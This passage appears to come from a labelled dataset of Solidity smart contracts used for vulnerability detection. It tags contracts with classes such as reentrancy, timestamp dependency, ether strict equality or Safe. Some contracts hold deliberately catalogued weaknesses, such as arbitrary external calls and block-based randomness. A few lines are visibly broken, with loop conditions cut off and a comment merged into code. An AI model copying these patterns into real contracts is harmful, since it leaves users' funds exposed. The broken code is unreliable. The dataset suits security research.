(isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i 0) if (!token.transfer(beneficiary, totalTokenBalance)) throw; } function releaseToken(address _tokenContractAddress) public { if (block.timestamp < releaseTime) throw; Token _token = Token(_tokenContractAddress); uint256 totalTokenBalance = _token.balanceOf(this); if (totalTokenBalance > 0) if (!_token.transfer(beneficiary, totalTokenBalance)) throw; } function releaseTimestamp() public constant returns (uint timestamp) { return releaseTime; } function currentTimestamp() public constant returns (uint timestamp) { return block.timestamp; } function secondsRemaining() public constant returns (uint timestamp) { if (block.timestamp < releaseTime) return releaseTime - block.timestamp; else return 0; } function tokenLocked() public constant returns (uint amount) { return token.balanceOf(this); } }",./Dataset/timestamp dependency (TP)/,6,6 31574.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 10000000; // Give the creator all initial tokens (100000 for example) totalSupply = 10000000; // Update total supply (100000 for example) name = ""ICOIN4U""; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = ""IC4""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 20780.sol,"pragma solidity ^0.4.24; // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: contracts/interface/IBasicMultiToken.sol contract IBasicMultiToken is ERC20 { event Bundle(address indexed who, address indexed beneficiary, uint256 value); event Unbundle(address indexed who, address indexed beneficiary, uint256 value); function tokensCount() public view returns(uint256); function tokens(uint256 _index) public view returns(ERC20); function allTokens() public view returns(ERC20[]); function allDecimals() public view returns(uint8[]); function allBalances() public view returns(uint256[]); function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; function bundle(address _beneficiary, uint256 _amount) public; function unbundle(address _beneficiary, uint256 _value) public; function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; } // File: contracts/interface/IMultiToken.sol contract IMultiToken is IBasicMultiToken { event Update(); event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); function allWeights() public view returns(uint256[] _weights); function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol /** * @title Contracts that should be able to recover tokens * @author SylTi * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. * This will prevent any accidental loss of tokens. */ contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; /** * @dev Reclaim all ERC20Basic compatible tokens * @param token ERC20Basic The address of the token contract */ function reclaimToken(ERC20Basic token) external onlyOwner { uint256 balance = token.balanceOf(this); token.safeTransfer(owner, balance); } } // File: contracts/registry/MultiBuyer.sol contract MultiBuyer is CanReclaimToken { using SafeMath for uint256; function buy( IMultiToken _mtkn, uint256 _minimumReturn, ERC20 _throughToken, address[] _exchanges, bytes _datas, uint[] _datasIndexes, // including 0 and LENGTH values uint256[] _values ) public payable { require(_datasIndexes.length == _exchanges.length + 1, ""buy: _datasIndexes should start with 0 and end with LENGTH""); require(_values.length == _exchanges.length, ""buy: _values should have the same length as _exchanges""); for (uint i = 0; i < _exchanges.length; i++) { bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { data[j - _datasIndexes[i]] = _datas[j]; } if (_throughToken != address(0) && i > 0) { _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); } require(_exchanges[i].call.value(_values[i])(data), ""buy: exchange arbitrary call failed""); if (_throughToken != address(0)) { _throughToken.approve(_exchanges[i], 0); } } j = _mtkn.totalSupply(); // optimization totalSupply uint256 bestAmount = uint256(-1); for (i = _mtkn.tokensCount(); i > 0; i--) { ERC20 token = _mtkn.tokens(i - 1); token.approve(_mtkn, token.balanceOf(this)); uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); if (amount < bestAmount) { bestAmount = amount; } } require(bestAmount >= _minimumReturn, ""buy: return value is too low""); _mtkn.bundle(msg.sender, bestAmount); if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }",./Dataset/reentrancy (RE)/,5,5 1339.sol,"pragma solidity ^0.4.20; library SafeMathLib { function plus(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } } contract GenderGuess { using SafeMathLib for uint; address public manager; uint public enddate; uint public donatedAmount; bytes32 girl; bytes32 boy; address binanceContribute; address[] all_prtcpnts; address[] boy_prtcpnts; address[] girl_prtcpnts; address[] crrct_prtcpnts; address[] top_ten_prtcpnts; address[] lucky_two_prtcpnts; uint[] prtcpnt_donation; mapping (address => bool) public Wallets; constructor (uint _enddate) public { manager = msg.sender; enddate = _enddate; donatedAmount = 0; girl = ""girl""; boy = ""boy""; binanceContribute = 0xA73d9021f67931563fDfe3E8f66261086319a1FC; } event ParticipantJoined(address _address, bytes32 pick); event Winners(address[] _addresses, uint _share); event IncreasedReward(address _sender, uint _amount); modifier manageronly (){ require( msg.sender == manager, ""Sender is not authorized."" ); _; } modifier conditions (){ require( msg.value >= 0.01 ether, ""Minimum ETH not sent"" ); require( Wallets[msg.sender] == false, ""Sender has already participated."" ); _; } modifier participateBefore (uint _enddate){ require( now <= _enddate, ""Paticipants not allwoed.Time up!"" ); _; } modifier pickOnlyAfter (uint _enddate){ require( now > _enddate, ""Not yet time"" ); _; } function enter(bytes32 gender) public payable conditions participateBefore(enddate) { emit ParticipantJoined(msg.sender, gender); require( ((gender == boy) || (gender == girl)), ""Invalid Entry!"" ); //first transfer funds to binance ETH address binanceContribute.transfer(msg.value); donatedAmount = donatedAmount.plus(msg.value); all_prtcpnts.push(msg.sender); prtcpnt_donation.push(msg.value); //mark wallet address as participated setWallet(msg.sender); if (gender == boy){ boy_prtcpnts.push(msg.sender); } else if(gender == girl) { girl_prtcpnts.push(msg.sender); } } function pickWinner(bytes32 _gender, uint256 _randomvalue) public manageronly pickOnlyAfter(enddate) { if ((all_prtcpnts.length < 100) || (boy_prtcpnts.length < 30) || (girl_prtcpnts.length < 30)) { binanceContribute.transfer(this.getRewardAmount()); } else { if(_gender == boy) { crrct_prtcpnts = boy_prtcpnts; } else if (_gender == girl) { crrct_prtcpnts = girl_prtcpnts; } winnerSelect(_randomvalue); } } function winnerSelect(uint256 _randomvalue) private { //select 2 from all for (uint i = 0; i < 2; i++){ uint index = doRandom(crrct_prtcpnts, _randomvalue) % crrct_prtcpnts.length; //remove winner address from the list before doing the transfer address _tempAddress = crrct_prtcpnts[index]; crrct_prtcpnts[index] = crrct_prtcpnts[crrct_prtcpnts.length - 1]; crrct_prtcpnts.length--; lucky_two_prtcpnts.push(_tempAddress); } uint share = this.getRewardAmount() / 2; lucky_two_prtcpnts[0].transfer(share); lucky_two_prtcpnts[1].transfer(share); emit Winners(lucky_two_prtcpnts, share); } function increaseReward() payable public participateBefore(enddate){ emit IncreasedReward(msg.sender, msg.value); } function checkIsOpen() public view returns(bool){ if (now <= enddate){ return true; } else { return false; } } function doRandom(address[] _address, uint _linuxTime) private view returns (uint){ return uint(keccak256(block.difficulty, now, _address, _linuxTime)); } function setWallet(address _wallet) private { Wallets[_wallet] = true; } function getRewardAmount() public view returns(uint) { return address(this).balance; } function getParticipants() public view returns(address[],uint[], uint, uint){ return (all_prtcpnts,prtcpnt_donation, boy_prtcpnts.length, girl_prtcpnts.length); } /********** Standard kill() function to recover funds **********/ function kill() public manageronly { selfdestruct(binanceContribute); // kills this contract and sends remaining funds back to creator } }",./Dataset/ether strict equality (SE),3,3 0x024cecfa70ae621850effb46bb5bc16b677bf1f7_lockEtherPay.sol,"pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29116800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x033C0D18496fecEF676435C8Daf444DC93927253 ; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }",Safe,8,8 1603.sol,"pragma solidity ^0.4.16; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }",./Dataset/ether strict equality (SE),3,3 0x047686fb287e7263a23873dea66b4501015a2226_CuteCoin.sol,"pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- contract ERC20Interface { // ERC Token Standard #223 Interface // https://github.com/ethereum/EIPs/issues/223 string public symbol; string public name; uint8 public decimals; function transfer(address _to, uint _value, bytes _data) external returns (bool success); // approveAndCall function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success); // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); // bulk operations function transferBulk(address[] to, uint[] tokens) public; function approveBulk(address[] spender, uint[] tokens) public; } pragma solidity ^0.4.24; /// @author https://BlockChainArchitect.iocontract Bank is CutiePluginBase contract PluginInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isPluginInterface() public pure returns (bool); function onRemove() public; /// @dev Begins new feature. /// @param _cutieId - ID of token to auction, sender must be owner. /// @param _parameter - arbitrary parameter /// @param _seller - Old owner, if not the message sender function run( uint40 _cutieId, uint256 _parameter, address _seller ) public payable; /// @dev Begins new feature, approved and signed by COO. /// @param _cutieId - ID of token to auction, sender must be owner. /// @param _parameter - arbitrary parameter function runSigned( uint40 _cutieId, uint256 _parameter, address _owner ) external payable; function withdraw() public; } contract CuteCoinInterface is ERC20Interface { function mint(address target, uint256 mintedAmount) public; function mintBulk(address[] target, uint256[] mintedAmount) external; function burn(uint256 amount) external; } pragma solidity ^0.4.24; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken interface TokenRecipientInterface { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } pragma solidity ^0.4.24; // https://github.com/ethereum/EIPs/issues/223 interface TokenFallback { function tokenFallback(address _from, uint _value, bytes _data) external; } contract CuteCoin is CuteCoinInterface, Ownable { using SafeMath for uint; constructor() public { symbol = ""CUTE""; name = ""Cute Coin""; decimals = 18; } uint _totalSupply; mapping (address => uint) balances; mapping(address => mapping(address => uint)) allowed; event Transfer(address indexed from, address indexed to, uint256 value, bytes data); // ---------------------------- Operator ---------------------------- mapping (address => bool) operatorAddress; function addOperator(address _operator) public onlyOwner { operatorAddress[_operator] = true; } function removeOperator(address _operator) public onlyOwner { delete(operatorAddress[_operator]); } modifier onlyOperator() { require(operatorAddress[msg.sender] || msg.sender == owner); _; } function withdrawEthFromBalance() external onlyOwner { owner.transfer(address(this).balance); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ---------------------------- Do not accept money ---------------------------- function () payable public { revert(); } // ---------------------------- Minting ---------------------------- function mint(address target, uint256 mintedAmount) public onlyOperator { balances[target] = balances[target].add(mintedAmount); _totalSupply = _totalSupply.add(mintedAmount); emit Transfer(0, target, mintedAmount); } function mintBulk(address[] target, uint256[] mintedAmount) external onlyOperator { require(target.length == mintedAmount.length); for (uint i = 0; i < target.length; i++) { mint(target[i], mintedAmount[i]); } } function burn(uint256 amount) external { balances[msg.sender] = balances[msg.sender].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(msg.sender, 0, amount); } // ---------------------------- ERC20 ---------------------------- function totalSupply() public constant returns (uint) { return _totalSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return 